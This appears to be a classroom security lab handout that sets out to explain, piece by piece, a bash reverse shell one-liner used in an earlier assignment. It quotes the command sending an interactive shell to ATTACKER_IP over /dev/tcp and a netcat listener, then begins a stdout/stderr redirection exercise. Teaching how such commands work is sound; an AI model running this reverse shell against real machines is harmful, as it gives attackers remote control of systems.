LAB: That crazy bash command
In the reverse shell assignment,
I asked you to set up a listener on your attacking machine (nc -l -p 5000
or something like that) and then cause the target machine to reach out to the attacker with a shell
by executing a command like this:
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"
We're going to go through this lab together in class to try to gradually make sense of the pieces of this command.
To get started:
- on your host OS, open a terminal
- on Kali:
cdto a convenient working directory on Kali- create a python program named
hello.pycontaining the following:import sys print('hello from stdout') print('hello from stderr', file=sys.stderr)